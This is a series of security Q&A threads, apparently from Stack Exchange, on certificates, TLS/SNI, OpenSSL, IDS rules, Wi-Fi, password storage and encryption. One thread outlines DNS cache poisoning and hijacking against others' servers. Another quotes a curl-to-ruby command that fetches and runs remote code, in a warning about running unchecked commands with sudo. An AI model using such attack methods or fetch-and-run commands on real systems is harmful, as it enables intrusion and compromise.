Are X.509 nameConstraints on certificates supported on OS X? I have the following "chain" of certificates on a test machine right now:

A self-signed CA cert, in my Keychain and trusted & trusted by Firefox.
A CA cert with with the following,

X509v3 Name Constraints: critical
  Permitted:
    DNS:mydomain.net
    DNS:.mydomain.net

A non-CA cert with signed by the above.

The test webserver serves the latter two certs; the first is marked as "trusted" in Keychain in OS X, in Firefox itself, and on my Linux side, also in FF and by certutil.

On OS X, Firefox accepts the connection as secure; Chrome and Safari do not. It looks like Chrome & Safari just uses whatever the OS uses for crypto purposes, so here, OS X is the issue. Viewing the cert shows:

"This certificate cannot be used (unrecognized critical extension)"

Extension: Name Constraints (2.5.29.30)
 Critical: YES
     Data: <a sequence of octets>

I'm guessing because I'm seeing a sequence of octets, and not a nice decoded view (like I do with other extensions), that this is the extension causing the error.

I can't get it to work on Linux either under Chrome (works fine in FF, again); there, however, it doesn't seem to be able to find the root cert (whereas on OS X it can); I think this is because I don't understand how to accept my self-signed cert. (The Internet says certutil, and I've tried just about every combination of that to no avail.)

No. Apple does not support this.

Apple's Secure Transport library does not support X.509's nameConstraints.

There is a bug in Chromium's bug database about this. And it's been closed as WontFix.
Developer Ryan Sleevi had this to say on Aug 25, 2014 (archived here):

  Chrome defers to the OS cryptographic stack for verification.

  It's a well-known, long-standing issue that Apple does not implement name constraints. This applies to all applications that use OS X's SSL or certificate verification libraries (e.g. Safari, Curl, Python, etc)

Related

Should name constraints be present on a subordinate CA issued to an organization?
Which properties of a X.509 certificate should be critical and which not?
http://karl.kornel.us/2014/09/cas-name-constraints-and-a-business-opportunity/


No Client Hello w/ SNI when accessing website's subdomain via link I noticed this while testing SNI-based HTTPS filtering for fun. My test was to block mail.yahoo.com, but allow other yahoo.com services. Here are my tests using Chrome:

Access mail.yahoo.com by entering the full URL https://mail.yahoo.com: BLOCKED
Access mail.yahoo.com by logging into my Yahoo account via https://yahoo.com, and clicking the "Mail" link: NOT BLOCKED

I ran a packet capture while re-creating test #2 and I see there are no Client Hello messages with the mail.yahoo.com name in the SNI extension field. This is why I assume the web filter, which relies on inspecting the SNI extension field, is not blocking the website.

I am trying to understand why I wouldn't see a Client Hello message w/ mail.yahoo.com in the SNI field when running test #2. Is the browser somehow using the same TLS session since the *.yahoo.com certificate is valid for both www.yahoo.com and mail.yahoo.com? I am interested to know more about how this works.

I see there are no Client Hello messages with the mail.yahoo.com name in the SNI extension field.

Every ClientHello in both pcaps you've provided has a server_name extension with the name of the target server. There is no connection with a ClientHello for mail.yahoo.com in the second pcap though which matches your description.

There are several other TLS connections though which are captured somewhere in the middle, i.e. without the TLS handshake and thus the ClientHello captured. For example the second TCP stream in the packet capture matches the IP address of mail.yahoo.com from your first packet capture. This indicates that it is using an already established TCP connection (with TLS on top).

Note that your first packet capture indicates that a connection to mail.yahoo.com is actually successful, i.e. it is not blocked as you claim (TCP connection number 6). The connection you see in the second packet capture might actually be the previously unblocked connection to mail.yahoo.com which you cannot block now since no new TCP+TLS connection was established and thus no new ClientHello was send. But it might also be a connection which had a different server_name in the ClientHello.

  Is the browser somehow using the same TLS session since the *.yahoo.com certificate is valid for both www.yahoo.com and mail.yahoo.com?

If the inner protocol is HTTP/2 the client is allowed to use an existing TCP connection to the same IP address provided that the certificate matches the authority part of the URL (i.e. the domain) too. See RFC 7540 section 9.1.1. This would explain that no new connection (with a new ClientHello) would be created and thus that your filter failed to detect and block the access. Thanks for HelpingHand to pointing to this standard.


DNS Poisoning - How to edit the "list" it in the target server? I know how to redirect some DNS name to another DNS name. For example, access security.stackexchange.com and redirect to facebook.com. But I am doing this with my own server and the connected computers are going to be redirected. But in the case when the server is not mine? How can I edit a DNS server of others?

One option is DNS cache poisoning - compromising a DNS server and changing entries there (making security.stackexchange.com point to the IP used by facebook.com). Clients of this server and other DNS servers, that cache the information from the server you compromised, will cache the incorrect entry and will redirect its users to facebook.com. But if the domains are protected by DNSSEC this attack would be most likely unsuccessful.

Another option is DNS hijacking - forcing a client use your malicious DNS server instead of a genuine one. Done by manipulating the victim host's TCP/IP settings.

Probably needless to say that doing any of this is entering the black-hat (or at least grey-hat) territory as you need to attack vulnerable servers/clients.

Some blogs about vectors of DNS-related attacks, if that was what you're interested in:

https://www.silicondiscourse.com/2017/03/home-routers-and-dns-attack-vectors/

https://blog.malwarebytes.com/cybercrime/2015/09/dns-hijacks-what-to-look-for/


Get a key values mismatch when export cert and key from PKCS#12 I have a PKCS #12 file and want to export certificates and private key from the PKCS #12 file with openssl.
openssl pkcs12 -in test.p12 -nocerts -out key.pem
openssl pkcs12 -in test.p12 -out certs.pem -nokeys -nodes

I want to uncrypt the key file
openssl rsa -in key.pem -out uncrypt_key.pem

But if I want to validate the cert key pair it fails.
openssl openssl x509 -noout -modulus -in certs.pem | openssl md5
openssl rsa -noout -modulus -in uncrypt_key.pem | openssl md5

Also the public key diff with der public keys fails.
openssl x509 -in certs.pem -pubkey -noout > certs.pub
openssl rsa -in uncrypt_key.pem -pubout > uncrypt_key.pub
diff certs.pub uncrypt_key.pub

How could I solve this problem or what is my mistake.

PKCS12 is a very flexible format and technically can contain almost any combination of privatekeys and/or certificates, and some other things as well. Usually it is used to contain one privatekey and the certificate chain for that privatekey -- i.e. one 'end-entity' (EE) certificate for that key and its owner, plus one or more 'chain' certificates for the CA hierarchy used to issue -- and to verify -- the EE cert. But other combinations are possible.
If you look at your certs.pem file you will almost certainly find more than one certificate in PEM format, each with the subject and issuer noted in human-readable text, as well as any 'bag' attributes, and almost certainly the first cert in the file is not the EE cert for your privatekey (or one of them) -- also check your keys.pem file to see if there is more than one privatekey, which is rare but possible. When a PEM file contains more than one cert, openssl x509 processes only the first one and ignores the rest.
If there is only one privatekey, you can identify its cert by looking at the subject name, and possibly issuer name, as well as the 'localKeyID' and maybe 'friendlyName' bag attribute which will match the privatekey in keys.pem (but not uncrypt_keys.pem, because that process removes the non-PEM 'comment' information); put that cert in a file and process it with x509 -modulus and/or x509 -pubkey. Alternatively you can have openssl pkcs12 extract only the EE cert using the slightly-misnamed -clcerts option on your second command.
If there is more than one privatekey, you must identify the correct key and correct cert by 'localKeyID' and/or 'friendlyName' and isolate them in files; openssl pkcs12 cannot select among them for you. openssl rsa similarly processes only the first key in a PEM file than contains multiple keys. But you can if you want put both cert and key in one file: openssl x509 will process the cert, ignoring the key, while openssl rsa will process the key, ignoring the cert.
PS: if you want the privatekey 'uncrypted' (we usually say 'unencrypted', or more simply but jargonly 'clear[text]' or 'plain[text]', but your meaning is clear enough, pardon the pun) you don't need a separate step, just do openssl pkcs12 -in p12file -out keyfile -nocerts -nodes. For modern versions of OpenSSL (since 2010) this will produce a 'new' (since 2000!) PKCS8-format PEM file instead of the traditional/legacy format produced by the rsa command; for anything using actual OpenSSL this doesn't matter (both formats are always accepted equally) but for some other programs that were written back in the 1990s and never updated it can be a problem. OTOH using -nodes with -nokeys as you did on your second command is ignored and useless, because cert output is never encrypted.


how to detect udp port scan in suricata? I'd like to detect udp port scan in Suricata.

I searched google, but I didn't manage to find Suricata rule for detecting UDP port scan attempts.
I saw before a snort rule for this scan.

How can we detect this kind of scan in Suricata?

There's plenty of examples of UDP scans within the ET community signatures for Suricata.

One thing you have to keep in mind is that the very nature of a UDP scan. Someone is trying elicit a response through a socket on those ports via UDP. You may also want to consider creating flow rules related to the UDP protocol for saying # of connections with a null (or suspected common scanner payload) is seen sourcing from an offending host to multiple hosts in something like $HOME_NET and the flows bit words might be included from_client, stateless


I have encrypted my laptop/phone. How will someone I send an email to read the contents? I have encrypted my laptop and phone, which includes emails.  My concern is when I send someone an email, will they receive it encrypted or will they get it decrypted?

I guess I'm asking: what exactly is encrypted?

When you encrypt your laptop and phone, that usually means that the data storage (hard drive, etc.) is encrypted. You decrypt the storage in order to work with the data (access programs, work with data, etc.).

Therefore, when you send an email, the email is not encrypted at all. So your recipient is not seeing anything encrypted because you, yourself, are not working with the email encrypted. When you close or shutdown the device, then the data (the sent email) is encrypted on that device along with everything else.

Encrypting a device is intended to protect against someone stealing your device and simply accessing the storage directly and reading everything. In order to read the data on your device, they need the password that decrypts it.


sigsegv in php5.3.10 I found an overflow situation in php5.3.10.

Probably it's not 'something new', but if I can understand this,
it will help me to find this kind of bug faster in the future.

What can I do to check how/what/where the exploitation occurs?

Steps I've already done are:

I've got php5.3.10 on virtual machine installed
I run code.php (and here is the sigsegv-situation)
I can do 'bt', or 'where' in gdb /usr/bin/php5

... what can/should I do next?

Compile the php with debugging symbols enabled, run it under valgrind, and see if you can trigger the overflow.  Valgrind will give detailed information about the overflow and where it occurs in the source code.

Generating a backtrace via gdb should also help you diagnose the issue.

See also Best way to triage crashes found via fuzzing, on Linux?.


What web browsers support ECC vs DSA vs RSA for SSL/TLS? We are updating our wildcard certificate and see that we have the option to use both RSA or DSA with Symantec (for free), while Digicert offers 3 options for wildcards ECC, DSA and RSA.

Is there a compatibility matrix for which browsers support ECC? (or the others)

We only support TLS1 and newer, so this may make ECC support easier

Related:

Based on my research, Network Solutions, and GoDaddy only offer RSA.  No DSA or ECC support.  Comodo supports ECDSA curves secp521r1 secp384r1 prime256v1

Symantec Wildcards don't support certificate transparency at this time

According to GlobalSign, the following browsers support ECC:

Browser                         Minimum Version Required

Apple Safari                    4 (On ECC Compatible OS)
Google Chrome                   1.0 (On ECC Compatible OS)
Microsoft Internet Explorer     7 (On ECC Compatible OS)
Mozilla Firefox                 2.0

Supported operating systems are:

Operating System            Minimum Version Required

Apple OS X                  OS X 10.6
Google Android              4.0
Microsoft Windows           Windows Vista
Red Hat Enterprise Linux    6.5


Excluding executables in winsxs folder I am facing a big problem since there are many msbuild.exe files in .Netframework and winsxs folders and I don't know if it is required to set all of them as trusted in the antivirus.

The path changes server to server and hence it makes life harder!

Thanks

I would not disable the antivirus on this folder. If you have performance issues cleanup WinSXS.

In case of a false positive:

contact antivirus company OR
check it with an online scanner


My understanding of how HTTPS works (gmail for example) I want to ask if my below understanding is correct or not regarding the HTTPS used for the webpage we are visiting.

I will use Gmail as an example:

My laptop tries to connect to the Gmail server and sends an http request
Gmail server replies with a request to establish https connection instead (sends https request)
My laptop checks the https certification of Gmail server and agrees to use https to connect
My laptop finds the Public Key of Gmail server and uses it to encrypt my gmail account password and sends it to Gmail Server
Gmail Server verifies my password by using the Private Key of Gmail Server and confirms my email logon
Gmail Server sends email information to my laptop by encrypting it using my laptop's Public Key
My laptop reads the encrypted email information by decrypting it using the Private Key of my laptop
So on and so forth until my laptop logs out the Gmail server.

Summary: there are 4 keys involved in this https connection. Gmail Server Public/Private Keys (2pc) + My Laptop Public/Private Keys (2pc)

Yes, you're on the right track!  But things actually work a little bit differently than you outlined.

In particular, Steps 4-8 are not quite how SSL works.  SSL works a little bit differently.  Here is how it actually works (I'm going to make some small simplifications, but this should get the gist of the idea right):

The Gmail server sends your client a certificate.  The certificate includes the Gmail server's public key, and some evidence that this public key actually belongs to gmail.com.
Your browser verifies the evidence in the certificate, to confirm that it has the proper public key for gmail.com.
Your browser chooses a random new symmetric key K  to use for its connection to Gmail.  It encrypts K under Gmail's public key.
Gmail decrypts K using its private key.  Now both your browser and the Gmail server know K, but no one else does.
Anytime your browser wants to send something to Gmail, it encrypts it under K; the Gmail server decrypts it upon receipt.  Anytime the Gmail server wants to send something to your browser, it encrypts it under K.

Your Steps 1-3 are roughly right, though not exactly right, and the details depend a little bit upon what browser you use and what URL you type into the address bar or how you get to Gmail in the first place -- but what you wrote is close enough for understanding the basic concept.  Good enough for government work.

Here is some additional reading for you:

How is it possible that people observing an HTTPS connection being established wouldn't know how to decrypt it?

How do the processes for digital certificates, signatures and ssl work?

Purpose of certificates signed and trusted by CA

Why is faking SSL certificate difficult?

Why is HTTPS not the default protocol?

Is visiting HTTPS websites on a public hotspot secure?

I think those articles should give you an excellent understanding of SSL, how it works, and why it is designed the way it is.

If that's not enough, you must have more more more, here are some articles from Wikipedia:

How certificates work

How SSL works

However they probably have way more technical details than you ever wanted to know, and they aren't a great first introduction to the concepts or the basic ideas.


Does it make sense to check command integrity after running it as root? The other day Dave was hurrying for his project at night. He wanted to install homebrew on his Mac. He typed "homebrew" in Safari search bar, pressed return, and clicked into the first link. He copied the command on the webpage, pasted it into the terminal, then entered his sudo password.

After that, Alice walked past and asked him whether he checked the command before entering sudo password. Dave immediately checked it: scrolled up and /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" was still there. Safari was showing brew.sh and the certificate was valid. Clipboard contained the same command.

However, Alice said that it is too late because Dave has already typed his sudo password, giving escalated privilege to unknown command. Did Dave did something insecure this time?

Did Dave did something insecure this time?

Yes.

Story time:

I had a friend Ramin in college who used to check if his orange juice was properly closed by shaking the bottle upside down. We coined a term after him:

  Def: Ramin Test: a test where you are only prepared for one of the possible outcomes.

Your Dave pulled a classic Ramin Test; install some arbitrary software, run it with sudo, then ask if it was malicious. What would he have done if the answer was "Yes"? Destroy the laptop and buy a new one? Change all his passwords and call the bank to cancel his credit cards? I don't think he was prepared for that outcome.

Metaphor: say I open a package of white powder in a crowded public place, then afterwards ask if it was anthrax. What am I going to do? All these people are already infected; the damage has already been done. Similarly, asking if something is malware after it has been allowed to take over your computer is almost pointless.

The proper thing to do is check that the software is trustworthy before you give it control of your computer (aka run it). This is the point of checking a file's checksum before you open it. This is why proper unix package managers or the Windows code signing system check the digital signature at install time, and possibly also again every time it is run to make sure it hasn't been modified.


Wireshark - How to see the domain of HTTPS websites visited How can I see the domain name of https websites that are visited on my network? I know I'm not able to see the full url, just the websites ip or domain. I think it my be possible with a reverse dns lookup, but how can I retrieve the dns address?

Thanks!

There are four possible meaning of a server's domain name:

The raw value of the IP address in the IP packet. Check out the Dst value in the IP panel
The result of reverse name lookup on the IP address in the IP packet. Note that a single IP may have multiple domain names attached to it, and some names may not appear in reverse lookup, so this isn't always a reliable way to get the actual domain name used by the user. See: https://osqa-ask.wireshark.org/questions/37680/can-wireshark-automatically-resolve-the-ip-address-into-host-names
The value of the SNI (Server Name Indication) header of the TLS connection. See: https://superuser.com/questions/538130/filter-in-wireshark-for-tlss-server-name-indication-field
If you are able to decrypt the TLS, the Host header of the HTTP request. Note that this value may differ from the domain name in SNI. Use the HTTP panel to see HTTP header values.


Securely storing clear passwords where one-way encryption/hashing is not an option I'm working on a service which in the end will pull sales reports etc from an App Store account. The main problem with it though is that Apple (so far) doesn't have a public API to make this possible so the only way to achieve this is to have the Apple ID and Password in plain form to at least achieve it through scraping.

That ultimately brought up one major security problem: How to store it as securely as possible?

On the technical part, the back-end services of the project will run off of PHP. I've also investigated some different services and libraries but all utilize the usage of a clear Apple password.

I was mostly thinking of having them stored on a separate server with no-login and only accessible from one host and with an SSH key. The service needs to be able to store as well as retrieve passwords.

But it for me still feels as not secure enough as the SSH key would still be on the single host and if it were to be compromised, access to the password store is just a command away.

How would it be most applicable to have clear passwords stored?

Your idea for a separate server is good. You need to change the interface between the web app and the password database a little. The password database needs to support two operations:

Set password for user
Get session for user

The password database NEVER reveals passwords. To fetch a session, it connects to directly to Apple, logs in using the credentials it has stored, then returns the session ID to the web application.


How to ensure account security when accessing emails when overseas? First of all, I hope this is the right stackexchange to ask this. Seems to be most relevant here.

Now, if one is planning to go overseas and he/she has a lot of data on the email account (say, gmail) that needs to be protected, what security considerations need to be taken care of?

I mean, I'm thinking of making a second gmail account, forward everything to the gmail account while not accessing the former at all.

Is there anything else I'm missing?

In addition to the good suggestions mentioned here, I have a few more suggestions that may help somewhat:

Enable HTTPS in Gmail.  Tell Gmail you only want to allow HTTPS connections.
Install HTTPS-Everywhere.  This will help ensure your browser always uses HTTPS, not unencrypted HTTP.
Consider using two-factor authentication.  Google supports two-factor authentication; it calls it 2-step verification, so logging in will require access to both the browser and your phone.  You could enable this.
Encrypt your filesystem. If you are concerned about someone having physical access to your laptop (e.g., in customs; left in your hotel room; etc.) -- and you probably should be -- set up an encrypted filesystem.  Encrypt the entire filesystem on your hard disk.  PGP sells an encrypted filesystem product.  TrueCrypt is free and good.
Don't access your account from an untrusted computer. Don't access your account from a cybercafe or someone else's computer, while overseas.  That's dangerous.  If the security of the information is critical, consider buying a netbook; they're relatively cheap, and you can wipe their hard drive before and after you fly overseas.


Signing HTTP requests with JWS Looking over the spec for JSON Web Signature (JWS), I realise that it doesn't seem to specify anything that is HTTP-specific in terms of the payload. Specifically, signing HTTP headers and bodies (say, so a server can verify certain HTTP headers and the HTTP body were constructed by a client).
Is there some way to use JWS to verify HTTP requests? I could come up with some definition of the JWS payload: some sort of "canonical" combination of HTTP headers and body, but I would have thought this would have already been designed...
Or perhaps, suggest an alternative mechanism.

There is "Signing HTTP Requests via JSON Web Signatures" https://tools.ietf.org/html/draft-richanna-http-jwt-signature-00 that specifies a method [although it has expired].

It seems to require that the JWS payload is JSON [which is not true in general for JWS, I believe]. It adds sha256 hashes to the JSON object. For example, for HTTP headers in a canonicalised string of:

content-type: application/json
etag: 742-3u8f34-3r2nvv3

that has sha256 bZA981YJBrPlIzOvplbu3e7ueREXXr38vSkxIBYOaxI, then it adds to the JSON payload:

"h": [["content-type", "etag"], "bZA981YJBrPlIzOvplbu3e7ueREXXr38vSkxIBYOaxI"]

I'm not such a crazy fan of this for the facts that it requires certain top-level keys in the JSON payload, and that it requires a JSON payload at all. For example, seems tricky to use this for a large binary payload.


How are Wi-Fi access points verified? Most Wi-Fi security is focussed on blocking authorised access to the network providing a wireless access point; but considering the smorgasbord of background app-to-cloud communication on a mobile phone, connecting to verified Wi-Fi access points is as least as important as SSL/TLS website verification.

How, if at all, are Wi-Fi access points verified? Is any of this verification implicit to the Wi-Fi standard?

Simply put, unless you're talking about WPA2-Enterprise with EAP, there's no verification.  Wifi networks are identified by SSID alone, so if you rename your home wifi network to "attwifi" and remove the password, chances are you'll get quite a few strangers' devices automatically connecting to it.  This would be called a rogue access point.

Of course, if the app-to-cloud communication is encrypted (with SSL/TLS), then it really wouldn't matter if the app sends information through a rogue access point.  It's the unencrypted communication that would pose a security risk.

Edit:
I believe recent developments have potentially made it possible to authenticate hotspots using EAP-TLS, though I'm not very familiar with how exactly this procedure works, so perhaps someone else can elaborate.  I did find the following on Wikipedia:

  On 22 August 2012 hostapd (and wpa_supplicant) added support in its
  Git repository for an UNAUTH-TLS vendor-specific EAP type (using the
  hostapd/wpa_supplicant project RFC 5612 Private Enterprise Number),[7]
  and on 25 February 2014 added support for the WFA-UNAUTH-TLS
  vendor-specific EAP type (using the Wi-Fi Alliance Private Enterprise
  Number),[8][9] which only do server authentication. This would allow
  for situations much like HTTPS, where a wireless hotspot allows free
  access and does not authenticate station clients but station clients
  wish to use encryption (IEEE 802.11i-2004 i.e. WPA2) and potentially
  authenticate the wireless hotspot. There have also been proposals to
  use IEEE 802.11u for access points to signal that they allow EAP-TLS
  using only server-side authentication, using the standard EAP-TLS IETF
  type instead of a vendor-specific EAP type.[10]

Source


Can I calculate the derived key generated by pbkdf2(password || SOME_TEXT) if I know pbkdf2(password)? If I know the derived key DK1

DK1 = PBKDF2(sha512, password, random_salt, iterations = 1000, output length = 20)

it is possible to calculate the derived key DK2

DK2 = PBKDF2(sha512, password || SOME_TEXT, random_salt, iterations = 1000, output length = 20)

if I have full admin access (both to the hashing algorithm in the source code and to the salts in the DB) but I don't know the password? I know this would be possible if I would only use SHA1 to hash the password but what about pbkdf2? Why do I ask: I want to use DK1 for user authentication and DK2 in the DB for data anonymization (only the logged in user can perform joins between tables signed with user.id and tables signed with DK2). For that reason I have to make sure that no one can derive DK2 from DK1 otherwise the DB tables would not be properly anonymized and the DB admin could perform joins.

PBKDF2 does not (generally?) use two salts (salt and pepper). You need to understand that PBKDF2 is based on a PseudoRandom-Function (PRF) typically HMACSHA1.
It then proceed to compute the derivated key (what you call your hash I suppose) by iterating (gross simplification) :

Uc = PRF(Password, Uc-1)
where U0 = Salt || INT_32_BigEndian(i)

So in the standard PBKDF2 scheme, you can't guess the password by having the derivated key and the salt. However, if you had the derivated key, you don't need the user password as it is the derivated key which is relevant to any subsequent encryptions.
I am afraid you are mistaking PBKDF2 with another function.
You then get a derivated key which is to be used has a key to other encryption function. Are you sure it's PBKDF2, and what is the underlying PRF?


Fingerprinting users based on IP addresses Is your local IP address used to better "fingerprint" a specific user? As far as I understood TCP connections, your local IP is send to the remote server in IP packets. It could add to the overall identification.

It could, and it does, but not as much as you'd think. Your IP address can be unique or it can be different on a per-user bases.

If you live alone and have your own cable model, then - for a while - you'll have a unique address. However, at some point, your lease will be up and you'll be assigned a new address and somebody else will be assigned yours.

If you live with a family, then all of you use the same cable modem and same IP (i.e. the IP you got from the last person who lives alone), so now your address represents multiple people.

If you're using a cell connection, you're almost certainly sharing an IP address with everybody else - and your IP may change from tower to tower or faster.

Basically, IP addresses are an unreliable indicator of identity.


SOHO router intrusion In the hypothetical scenario where someone has managed to gain unlawful access to a SOHO router (any of the consumer wifi models will serve nicely), what steps can you take to verify this, so as to present evidence to a court?

These devices don't seem to have much logging built in, and even if they do how can you show they were not tampered with? What reliable evidence can be obtained from such devices?

To clarify I think you are asking about consumer grade home broadband routers with built-in wireless (802.11a/b/g/n), right?

Out of the box, you are going to have a very difficult time proving any kind of intrusion using these devices.  Besides the fact there is nothing authenticating your valid users.  How would you distinguish between legal and illegal users?

For tampering, you would need to have a snapshot of the device and configuration when setup to compare against it after it has been tampered with.


Win10 Group Policy - Allow specific programs to run: Protection from malware? In Windows 10 group policy editor you can restrict and allow only certain programs to run.

I'm wondering if that protects against malware? I can think of following cases:

1) If you start a program that's trusted, but the program downloads a malicious file and executes it.

2) If malware injects itself into a running process on the machine.

Generally, using an application whitelist will not only restrict what apps the user can directly launch, but also what apps the whitelisted apps can launch (after all, explorer.exe - the Windows graphical shell, which hosts the desktop, Start menu, taskbar, file browser, and so on - is itself just a process that launches other processes when told to do so). Also, hopefully you wouldn't allow a process to launch other processes if it could be used to launch arbitrary other processes (the way a shell can).

Also, application whitelisting is frequently combined with library whitelisting. After all, libraries also contain executable code. This makes it a lot harder - though not impossible - to inject malicious code into another process (since the usual way to do that is to dump a malicious library on the disk and get the process to load it).

If the attacker can compromise some process (like a browser or document reader) and get arbitrary code execution within it, they can do anything the process can do. Even if the process isn't allowed to launch arbitrary apps (because of whitelisting) it can probably use the debug APIs to take over running ones and achieve persistence (until you log off / reboot) that way. They can also read your files and transmit them to the attacker's computer, or launch network attacks against servers inside your firewall, or so on. If the attacker has code execution in one process, they don't need to launch another one (though it's usually more convenient to do so).

One solution to this is sandboxing, where you restrict what an at-risk process can do. Most desktop web browsers, Adobe Reader, and a growing suite of other software (including most things in the Windows or Mac App Stores) use sandboxing these days. A compromise is still bad - if somebody compromises your browser, for example, they can see what you're doing with that browser, and possibly steal information or hijack sessions that way - but they can't do things like attack other processes.


Why do heap overflows/int overflows/stack overflows/buffer overflows only happen in higher addresses? I read somewhere that these type of attacks are susceptible to addresses that are higher and not lower in the stack/heap/buffer. Why is this?

It's because of how data is stored in memory.

When a data object larger than a single byte needs to be referred to, programs do so by remembering the address of the first byte, plus (in some fashion) the size of the object.  That first byte is (by convention) placed in the lowest-valued address of the available space, and as a result, any overflow will go off the high-addressed end.


Are there any attack vectors for a printer connected through USB in a Windows Environment? I have the potential for a printer to be connected through USB and through a network cable at the same time.  The USB would be connected directly to a computer which is part of a private network.

According to this: Attacking an office printer?  Printers can definitely be used as an attack vector.

If the networks that the printer are completely isolated and can attacks be performed through a USB should the printer become compromised from the network connection?  Is there a difference if the printer doesn't have a scanner (as the driver might have different permissions)?

There was a vulnerability in HP printers that allowed firmware updates over the network, so we know it is possible.

A new firmware could allow at least in principle for the USB interface to be "repurposed". An obvious attack vector is for the printer to masquerade as a keyboard and start pressing keys to issue dangerous commands. The Rubber Ducky is a related USB product that has a framework behind it focused on attacks.

Stuxnet used vulnerabilities in Windows to start the malware on USB drives. This IBM X-Force research details the vulnerabilities.

A different and more dangerous masquerading is of a device that tells the computer to load a driver that has known vulnerabilities. The device can then exploit the vulnerabilities and even get code executed in the kernel. Here is a NIST warning about this and here is a NCC Group Study. There are countless legacy device drivers that can be vulnerable. A well known OS hardening technique is to eliminate unused drivers.

The printer can also attack the USB controller on the computer providing lower level access. The badBIOS incidents hint at that possibility.

The above attacks are directly against the computer the printer connects to, but the printer can compromise the confidentiality of the data that is printed or the credentials that are used to access the printer so the attacker can reuse them somewhere else.


Am I performing this encrypting scheme correctly? I'm trying out some encryption and I'm wondering if I'm doing it correctly.

The idea is a two layer encryption ensuring the sender is the sender, while having the proxy not knowing what the content of the message is from the sender (since the proxy knows the id of the sender). Then remove the ID of the sender and send the data to the LAST receiver which only can access the message and not the id of the sender.

I have a client that:

Encrypts a message with a symmetric key, and only the message content.
Encrypts the symmetric key with the LAST receiver's public key.
Encrypts the encrypted message again with a Proxy public key.

Proxy receives the encrypted data and should just verify that the sender is the actual sender. Then remove the sender's id and send it to the LAST receiver only having an encrypted message with no id of the sender which it can decrypt using the symmetric key.

What should I sign, and how should I encrypt the encrypted message and private key? In one or two separate?

You are performing a lot of unnecessary steps.

What you appear to want is to maintain encryption between Alice and Bob, but to use a 3rd party to verify that Alice is the sender.

You could accomplish this by:

Alice encrypts message with Bob's public key
Alice signs the message with Alice's private key (or send authentication token encrypted with Proxy's public key)
The Proxy receives and verifies the signature (or auth token) with Alice's public key
The Proxy strips the signature then passes it on to Bob.

That covers all your requirements more simply. One encryption. Sender verified. Sender remains anonymous to receiver.


can multiple encryption of data with multiple keys increase the security? I mean: does encrypting data multiple times have an effect on diffusion and confusion?
Does it increase security, or does it have no effect?
Is it useless?
Does it make it harder to break the secret, or not?

Yes, multiple layers of encryption using different algorithms and different keys make the encryption as hard as the hardest in the chain.
IIRC this was adressed in Bruce Schneier's book Applied Cryptography (2nd edition).

But the important part is to use different algorithms, or at least different keys. Algorithms that use "round keys" are often optimized for a number of rounds. Using the same key will not necessarily make the message harder to break, and can theoretically make it easier.

A nice example is Triple-DES. Encrypting a message, then encrypting it again with a different key was vulnerable to meet-in-the-middle attack and effectively added only 1 bit of key space. Instead, it was found that one had to encrypt a message, then use the decryption algorithm but with a different key, then encrypt it again.
Even with 3 independent 56-bit keys, the effective key size is 112 bits as it is vulnerable to a meet-in-the-middle attack (source: Wikipedia).

So the strongest way is to use different keys and different algorithms.


How can a server recover from its secret key stolen? Suppose a server use digital signature to prove the files it sends to users. If someone steals the secret key in the server, what should it do?

The key needs to be revoked, the server nuked from orbit, and a new system with a new key put into place.

To go further, this is why you want your master signing key to be offline and trust in your servers' certs based on that chain.


Increased security with keepass I am using keepass for securing passwords. I have a reasonable password, but if someone got hold of the file I am sure eventually they could brute force it.

I was thinking of using a key file as well, but as this would likely be stored along with the keepass file if someone were to steal my phone or laptop, it would not increase security. (not to be confused with this question which is worried about key loggers)

I was thinking then of generating 1000 key files to store along with the data file. Only one of which would be the real one that was used. Figuring that it would increase security as if someone was trying to brute force they would have to try password/key file combinations. Making brute forcing a few times more difficult.

Is this a correct assumption, or would it be fairly easy to deduce the key file from the encrypted store?

The choice of the key file among 1000 possible files, assuming that you can do it perfectly (e.g. the choice does not leak through access times), is equivalent to adding three digits at the end of the password. Adding three digits means remembering (beyond the password) a three-digit number, which is the exact same memory effort than remembering which of the 1000 key files to use.

Therefore, instead of using your key files, just append that extra secret data (the three-digit number) to your password. This will be at least as secure as your key files (and probably more secure, because your choice of file will probably leak in some way) and much less cumbersome to use.


Can someone find wpa2 key through ethernet? When  you connect to a ap using ethernet it requires no authentication but the traffic must be encrypted with a handshake shouldn't it?
So wouldn't an attacker be able to write a script when he plugs a raspberry pi for instance into a ap he would be able to find the password?

The key exchange is done wirelessly, not over the wire, so the wired clients are unable to intercept those transmissions. There is no reason why the AP should rebroadcast the handshake to its wired clients, so no, the scenario you describe is not possible.

Moreover, knowledge of the handshake does not allow someone to get the WPA2 key. For more on this side of things, see Are WPA2 connections with a shared key secure?


How secure can you be on an untrusted machine? I feel like most of what is written about web security assumes you are using a trusted / secure PC.

I'd like to consider the opposite: you are using a PC (say, at an internet cafe) which is known to be logging keystrokes, and is recording everything displayed in the browser.  Let's say you need to access a document on a personal wiki running on your own private server.

I'd like to ask the community what we can achieve here.

Obviously, we are going to have to give up on some things:

The attacker will be able to see any documents which you view in the
wiki.
The attacker will be able to see any edits you make to the
wiki.

However, I think we can still achieve limited security:

We can prevent the attacker from being able to login to the wiki (after we have left the cafe) and accessing any document they like / performing edits.

This means that what we can accomplish is this: We can access any documents which we don't mind the attacker snooping on (e.g., lasagna recipes), but we can prevent them from performing a login themselves and requesting additional sensitive documents (e.g. financial records).

I think we can accomplish this by using just the 2nd half of 2-factor authentication:

The wiki has a special login page from which you can request a one-time-password which is delivered via SMS.

This mechanism is limited as follows:

The interface for requesting the one-time-password must not accept arbitrary phone numbers (you enter your username, and the wiki uses the phone number associated with your account).
The one-time-password is kept for only one login attempt.  If you make a typo, you'll have to request another one-time-password.

This seems to afford the following assurances:

If you successfully login, you know that an attacker did not (only one session allowed per one-time-password).
If an attacker somehow intercepted the one-time-password and logged in, you'll know, because your login attempt will fail.
If your wiki is brute-forced, you'll know (you'll be receiving hundreds of text messages).

I'd love to get some feedback on this idea, especially if there are any glaring holes I've missed!

First of all, I would point out that one-time-password is not a replacement for your password, it is a supplementary security feature, in addition to your password.

Second, but most important. You have forgotten that you are using a non-trusted computer. Take the following scenario, you go to Wikipedia and sign in, with your password and one-time-password. The attacker steals your cookies from the computer while you are browsing (remember he has total control over the computer you are using). He then uses the cookie to get access to your account on his computer.

To prevent you from logging out from wiki, he then adds a script to your browser, so when you press logout, it doesn't actually logout, instead it just seems like it.

